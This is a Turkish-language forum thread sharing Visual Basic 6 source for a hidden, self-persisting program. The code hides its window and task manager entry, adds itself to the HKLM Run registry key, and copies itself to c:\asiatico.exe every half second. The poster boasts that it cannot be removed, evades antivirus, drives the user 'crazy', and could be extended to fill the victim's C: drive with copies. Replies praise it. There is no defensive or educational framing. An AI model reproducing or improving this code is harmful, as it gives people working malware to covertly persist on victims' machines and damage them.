Saolasın

Teşekkür Ederiz

Formun üstüne bir adet timer eklemein yeterlidir... Gerkeli aciklamayi kodlarin ustunde yaptim. Belki işinize yarar veya herhangi bir programınıza entegre edersiniz Kodlar = Private Sub Form_Load Timer1. Enabled = True Timer1. Interval = 500 ' timer birazdan yapılacak işlem icin her yarım saniyede bir islemi tekrarlıyor App. TaskVisible = False, görev yöneticinde programın görülmesini engelliyor... On Error Resume Next Me. Hide 'formu açıldığı sırada gizliyoruz yani kullanıcı formu veya herhangi bir seyin calıstığının farkında olmuyor... Dim KayitDefteri As Object ' değişkeni tanımlıyoruz... Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" 'üstteki bölümde programımızı windows açılırken çalışması için kayıt defterine kaydediyoruz End Sub Private Sub Timer1_Timer Dim yol, ad, TamYol, x ' değişkenlerr. ... yol = App. Path ' burasi programın bulunduğu yol ad = App. EXEName & ". exe" 'programın adı Source = yol & "\" & ad 'programın mevcut yolu \ programın adı destination = "c:\asiatico. exe" 'programın kopalanacağı yer ve kopyalancağı isim FileCopy Source, destination ' programın mevcut yol \adı, programın kopyalanca yer End Sub eveet gelelim sadede Yukarıda yaptığımız program nasıl silinmiyor diyeceksiniz... silinmiyor cunku program surekli olarak kendini kopyalıyor ve windows açılırken açıldığı için kullanıcı deliye donuyor içinde herhangi zararlı bir kod olmadığından dolayıda anti'virüsler algılamıyorum bunu daha geliştirerek adamın c: sürücüsünü aynı dosyanın kopyalarıyla doldurabilirsiniz

zekice bisi elline saglik